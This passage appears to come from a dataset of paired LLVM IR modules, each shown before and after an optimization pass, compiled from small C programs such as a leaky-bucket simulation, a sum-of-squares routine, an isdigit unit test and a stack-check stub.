%91 = call i32 @sleep(i32 noundef 1)
br label %92
92: ; preds = %78
%93 = load i32, ptr %7, align 4
%94 = add nsw i32 %93, 1
store i32 %94, ptr %7, align 4
br label %34, !llvm.loop !8
95: ; preds = %41
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @min(i32 noundef, i32 noundef) #1
declare i32 @sleep(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmph7cfvfl1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"Enter bucket size :\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [26 x i8] c"Enter transmission rate :\00", align 1
@.str.3 = private unnamed_addr constant [47 x i8] c"Enter The duration of simulation in seconds : \00", align 1
@.str.4 = private unnamed_addr constant [31 x i8] c"Enter packet size at %d sec : \00", align 1
@.str.5 = private unnamed_addr constant [65 x i8] c"\0ASecond|Packet Recieved|Packet Sent|Packet Left|Packet Dropped|\0A\00", align 1
@.str.6 = private unnamed_addr constant [64 x i8] c"--------------------------------------------------------------\0A\00", align 1
@.str.7 = private unnamed_addr constant [4 x i8] c"\09%d\00", align 1
@.str.8 = private unnamed_addr constant [3 x i8] c"\090\00", align 1
@.str.9 = private unnamed_addr constant [5 x i8] c"\09\09%d\00", align 1
@.str.10 = private unnamed_addr constant [6 x i8] c"\09\09%d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca [25 x i32], align 16
%9 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
store i32 0, ptr %6, align 4
%10 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%11 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %5)
%12 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%13 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %9)
%14 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%15 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %4)
store i32 0, ptr %7, align 4
%16 = load i32, ptr %7, align 4
%17 = load i32, ptr %4, align 4
%18 = icmp slt i32 %16, %17
br i1 %18, label %.lr.ph, label %33
.lr.ph: ; preds = %0
br label %19
19: ; preds = %.lr.ph, %27
%20 = load i32, ptr %7, align 4
%21 = add nsw i32 %20, 1
%22 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %21)
%23 = load i32, ptr %7, align 4
%24 = sext i32 %23 to i64
%25 = getelementptr inbounds [25 x i32], ptr %8, i64 0, i64 %24
%26 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %25)
br label %27
27: ; preds = %19
%28 = load i32, ptr %7, align 4
%29 = add nsw i32 %28, 1
store i32 %29, ptr %7, align 4
%30 = load i32, ptr %7, align 4
%31 = load i32, ptr %4, align 4
%32 = icmp slt i32 %30, %31
br i1 %32, label %19, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %27
br label %33
33: ; preds = %._crit_edge, %0
%34 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
%35 = call i32 (ptr, ...) @printf(ptr noundef @.str.6)
store i32 0, ptr %7, align 4
br label %36
36: ; preds = %94, %33
%37 = load i32, ptr %7, align 4
%38 = load i32, ptr %4, align 4
%39 = icmp slt i32 %37, %38
br i1 %39, label %43, label %40
40: ; preds = %36
%41 = load i32, ptr %6, align 4
%42 = icmp ne i32 %41, 0
br label %43
43: ; preds = %40, %36
%44 = phi i1 [ true, %36 ], [ %42, %40 ]
br i1 %44, label %45, label %97
45: ; preds = %43
%46 = load i32, ptr %7, align 4
%47 = load i32, ptr %4, align 4
%48 = icmp slt i32 %46, %47
br i1 %48, label %49, label %56
49: ; preds = %45
%50 = load i32, ptr %7, align 4
%51 = sext i32 %50 to i64
%52 = getelementptr inbounds [25 x i32], ptr %8, i64 0, i64 %51
%53 = load i32, ptr %52, align 4
%54 = load i32, ptr %6, align 4
%55 = add nsw i32 %54, %53
store i32 %55, ptr %6, align 4
br label %56
56: ; preds = %49, %45
%57 = load i32, ptr %6, align 4
%58 = load i32, ptr %5, align 4
%59 = icmp sgt i32 %57, %58
br i1 %59, label %60, label %65
60: ; preds = %56
%61 = load i32, ptr %6, align 4
%62 = load i32, ptr %5, align 4
%63 = sub nsw i32 %61, %62
store i32 %63, ptr %2, align 4
%64 = load i32, ptr %5, align 4
store i32 %64, ptr %6, align 4
br label %65
65: ; preds = %60, %56
%66 = load i32, ptr %7, align 4
%67 = add nsw i32 %66, 1
%68 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %67)
%69 = load i32, ptr %7, align 4
%70 = load i32, ptr %4, align 4
%71 = icmp slt i32 %69, %70
br i1 %71, label %72, label %78
72: ; preds = %65
%73 = load i32, ptr %7, align 4
%74 = sext i32 %73 to i64
%75 = getelementptr inbounds [25 x i32], ptr %8, i64 0, i64 %74
%76 = load i32, ptr %75, align 4
%77 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i32 noundef %76)
br label %80
78: ; preds = %65
%79 = call i32 (ptr, ...) @printf(ptr noundef @.str.8)
br label %80
80: ; preds = %78, %72
%81 = load i32, ptr %6, align 4
%82 = load i32, ptr %9, align 4
%83 = call i32 @min(i32 noundef %81, i32 noundef %82)
store i32 %83, ptr %3, align 4
%84 = load i32, ptr %3, align 4
%85 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %84)
%86 = load i32, ptr %6, align 4
%87 = load i32, ptr %3, align 4
%88 = sub nsw i32 %86, %87
store i32 %88, ptr %6, align 4
%89 = load i32, ptr %6, align 4
%90 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %89)
%91 = load i32, ptr %2, align 4
%92 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, i32 noundef %91)
store i32 0, ptr %2, align 4
%93 = call i32 @sleep(i32 noundef 1)
br label %94
94: ; preds = %80
%95 = load i32, ptr %7, align 4
%96 = add nsw i32 %95, 1
store i32 %96, ptr %7, align 4
br label %36, !llvm.loop !8
97: ; preds = %43
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @min(i32 noundef, i32 noundef) #1
declare i32 @sleep(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpuc6_t5mg.c'
source_filename = "/tmp/tmpuc6_t5mg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpuc6_t5mg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpigx85oes.c'
source_filename = "/tmp/tmpigx85oes.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @compute_sum_sumsq(ptr noundef %0, ptr noundef %1, ptr noundef %2, i64 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i64, align 8
%9 = alloca i64, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i64 %3, ptr %8, align 8
%10 = load ptr, ptr %5, align 8
%11 = icmp eq ptr null, %10
br i1 %11, label %12, label %13
12: ; preds = %4
br label %71
13: ; preds = %4
%14 = load ptr, ptr %6, align 8
%15 = icmp eq ptr null, %14
br i1 %15, label %16, label %17
16: ; preds = %13
br label %71
17: ; preds = %13
%18 = load ptr, ptr %7, align 8
%19 = icmp eq ptr null, %18
br i1 %19, label %20, label %21
20: ; preds = %17
br label %71
21: ; preds = %17
%22 = load i64, ptr %8, align 8
%23 = icmp ugt i64 %22, 0
%24 = zext i1 %23 to i32
%25 = call i32 @assert(i32 noundef %24)
%26 = load ptr, ptr %6, align 8
%27 = getelementptr inbounds double, ptr %26, i64 0
store double 0.000000e+00, ptr %27, align 8
%28 = load ptr, ptr %7, align 8
%29 = getelementptr inbounds double, ptr %28, i64 0
store double 0.000000e+00, ptr %29, align 8
store i64 0, ptr %9, align 8
br label %30
30: ; preds = %68, %21
%31 = load i64, ptr %9, align 8
%32 = load i64, ptr %8, align 8
%33 = icmp ult i64 %31, %32
br i1 %33, label %34, label %71
34: ; preds = %30
%35 = load ptr, ptr %6, align 8
%36 = load i64, ptr %9, align 8
%37 = getelementptr inbounds double, ptr %35, i64 %36
%38 = load double, ptr %37, align 8
%39 = load ptr, ptr %5, align 8
%40 = load i64, ptr %9, align 8
%41 = getelementptr inbounds float, ptr %39, i64 %40
%42 = load float, ptr %41, align 4
%43 = fpext float %42 to double
%44 = fadd double %38, %43
%45 = load ptr, ptr %6, align 8
%46 = load i64, ptr %9, align 8
%47 = add i64 %46, 1
%48 = getelementptr inbounds double, ptr %45, i64 %47
store double %44, ptr %48, align 8
%49 = load ptr, ptr %7, align 8
%50 = load i64, ptr %9, align 8
%51 = getelementptr inbounds double, ptr %49, i64 %50
%52 = load double, ptr %51, align 8
%53 = load ptr, ptr %5, align 8
%54 = load i64, ptr %9, align 8
%55 = getelementptr inbounds float, ptr %53, i64 %54
%56 = load float, ptr %55, align 4
%57 = load ptr, ptr %5, align 8
%58 = load i64, ptr %9, align 8
%59 = getelementptr inbounds float, ptr %57, i64 %58
%60 = load float, ptr %59, align 4
%61 = fmul float %56, %60
%62 = fpext float %61 to double
%63 = fadd double %52, %62
%64 = load ptr, ptr %7, align 8
%65 = load i64, ptr %9, align 8
%66 = add i64 %65, 1
%67 = getelementptr inbounds double, ptr %64, i64 %66
store double %63, ptr %67, align 8
br label %68
68: ; preds = %34
%69 = load i64, ptr %9, align 8
%70 = add i64 %69, 1
store i64 %70, ptr %9, align 8
br label %30, !llvm.loop !6
71: ; preds = %12, %16, %20, %30
ret void
}
declare i32 @assert(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpigx85oes.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @compute_sum_sumsq(ptr noundef %0, ptr noundef %1, ptr noundef %2, i64 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i64, align 8
%9 = alloca i64, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i64 %3, ptr %8, align 8
%10 = load ptr, ptr %5, align 8
%11 = icmp eq ptr null, %10
br i1 %11, label %12, label %13
12: ; preds = %4
br label %73
13: ; preds = %4
%14 = load ptr, ptr %6, align 8
%15 = icmp eq ptr null, %14
br i1 %15, label %16, label %17
16: ; preds = %13
br label %73
17: ; preds = %13
%18 = load ptr, ptr %7, align 8
%19 = icmp eq ptr null, %18
br i1 %19, label %20, label %21
20: ; preds = %17
br label %73
21: ; preds = %17
%22 = load i64, ptr %8, align 8
%23 = icmp ugt i64 %22, 0
%24 = zext i1 %23 to i32
%25 = call i32 @assert(i32 noundef %24)
%26 = load ptr, ptr %6, align 8
%27 = getelementptr inbounds double, ptr %26, i64 0
store double 0.000000e+00, ptr %27, align 8
%28 = load ptr, ptr %7, align 8
%29 = getelementptr inbounds double, ptr %28, i64 0
store double 0.000000e+00, ptr %29, align 8
store i64 0, ptr %9, align 8
%30 = load i64, ptr %9, align 8
%31 = load i64, ptr %8, align 8
%32 = icmp ult i64 %30, %31
br i1 %32, label %.lr.ph, label %.loopexit
.lr.ph: ; preds = %21
br label %33
33: ; preds = %.lr.ph, %67
%34 = load ptr, ptr %6, align 8
%35 = load i64, ptr %9, align 8
%36 = getelementptr inbounds double, ptr %34, i64 %35
%37 = load double, ptr %36, align 8
%38 = load ptr, ptr %5, align 8
%39 = load i64, ptr %9, align 8
%40 = getelementptr inbounds float, ptr %38, i64 %39
%41 = load float, ptr %40, align 4
%42 = fpext float %41 to double
%43 = fadd double %37, %42
%44 = load ptr, ptr %6, align 8
%45 = load i64, ptr %9, align 8
%46 = add i64 %45, 1
%47 = getelementptr inbounds double, ptr %44, i64 %46
store double %43, ptr %47, align 8
%48 = load ptr, ptr %7, align 8
%49 = load i64, ptr %9, align 8
%50 = getelementptr inbounds double, ptr %48, i64 %49
%51 = load double, ptr %50, align 8
%52 = load ptr, ptr %5, align 8
%53 = load i64, ptr %9, align 8
%54 = getelementptr inbounds float, ptr %52, i64 %53
%55 = load float, ptr %54, align 4
%56 = load ptr, ptr %5, align 8
%57 = load i64, ptr %9, align 8
%58 = getelementptr inbounds float, ptr %56, i64 %57
%59 = load float, ptr %58, align 4
%60 = fmul float %55, %59
%61 = fpext float %60 to double
%62 = fadd double %51, %61
%63 = load ptr, ptr %7, align 8
%64 = load i64, ptr %9, align 8
%65 = add i64 %64, 1
%66 = getelementptr inbounds double, ptr %63, i64 %65
store double %62, ptr %66, align 8
br label %67
67: ; preds = %33
%68 = load i64, ptr %9, align 8
%69 = add i64 %68, 1
store i64 %69, ptr %9, align 8
%70 = load i64, ptr %9, align 8
%71 = load i64, ptr %8, align 8
%72 = icmp ult i64 %70, %71
br i1 %72, label %33, label %..loopexit_crit_edge, !llvm.loop !6
..loopexit_crit_edge: ; preds = %67
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %21
br label %73
73: ; preds = %.loopexit, %20, %16, %12
ret void
}
declare i32 @assert(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpz6o_jzqr.c'
source_filename = "/tmp/tmpz6o_jzqr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isdigit.c\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"isdigit should be 0 for 0x93\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t_isdigit_0x93() #0 {
%1 = call i64 @isdigit(i32 noundef 147)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 noundef %3, ptr noundef @.str, i32 noundef 740, ptr noundef @.str.1)
ret void
}
declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i64 @isdigit(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpz6o_jzqr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isdigit.c\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"isdigit should be 0 for 0x93\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t_isdigit_0x93() #0 {
%1 = call i64 @isdigit(i32 noundef 147)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 noundef %3, ptr noundef @.str, i32 noundef 740, ptr noundef @.str.1)
ret void
}
declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i64 @isdigit(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmphxz867gx.c'
source_filename = "/tmp/tmphxz867gx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline noreturn nounwind sspstrong uwtable
define dso_local void @__stack_chk_fail() #0 {
%1 = call i32 (...) @abort() #2
unreachable
}
; Function Attrs: noreturn
declare i32 @abort(...) #1
attributes #0 = { noinline noreturn nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmphxz867gx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline noreturn nounwind sspstrong uwtable
define dso_local void @__stack_chk_fail() #0 {
%1 = call i32 (...) @abort() #2
unreachable
}
; Function Attrs: noreturn
declare i32 @abort(...) #1
attributes #0 = { noinline noreturn nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp6v0fzkr0.c'
source_filename = "/tmp/tmp6v0fzkr0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c"A\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"echo %s\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"algo deu errado\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store i32 0, ptr %1, align 4
store ptr @.str, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i64 @strlen(ptr noundef %4)
%6 = add nsw i64 %5, 6
%7 = call ptr @malloc(i64 noundef %6)
store ptr %7, ptr %3, align 8
%8 = load ptr, ptr %3, align 8
%9 = load ptr, ptr %2, align 8
%10 = call i64 @sprintf(ptr noundef %8, ptr noundef @.str.1, ptr noundef %9)
%11 = icmp sgt i64 %10, 0
br i1 %11, label %12, label %15
12: ; preds = %0
%13 = load ptr, ptr %3, align 8
%14 = call i32 @printf(ptr noundef %13)
br label %17
15: ; preds = %0
%16 = call i32 @printf(ptr noundef @.str.2)
br label %17
17: ; preds = %15, %12
%18 = load i32, ptr %1, align 4
ret i32 %18
}
declare ptr @malloc(i64 noundef) #1
declare i64 @strlen(ptr noundef) #1
declare i64 @sprintf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp6v0fzkr0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c"A\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"echo %s\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"algo deu errado\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store i32 0, ptr %1, align 4
store ptr @.str, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i64 @strlen(ptr noundef %4)
%6 = add nsw i64 %5, 6
%7 = call ptr @malloc(i64 noundef %6)
store ptr %7, ptr %3, align 8
%8 = load ptr, ptr %3, align 8
%9 = load ptr, ptr %2, align 8
%10 = call i64 @sprintf(ptr noundef %8, ptr noundef @.str.1, ptr noundef %9)
%11 = icmp sgt i64 %10, 0
br i1 %11, label %12, label %15
12: ; preds = %0
%13 = load ptr, ptr %3, align 8
%14 = call i32 @printf(ptr noundef %13)
br label %17
15: ; preds = %0
%16 = call i32 @printf(ptr noundef @.str.2)
br label %17
17: ; preds = %15, %12
%18 = load i32, ptr %1, align 4
ret i32 %18
}
declare ptr @malloc(i64 noundef) #1
declare i64 @strlen(ptr noundef) #1
declare i64 @sprintf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
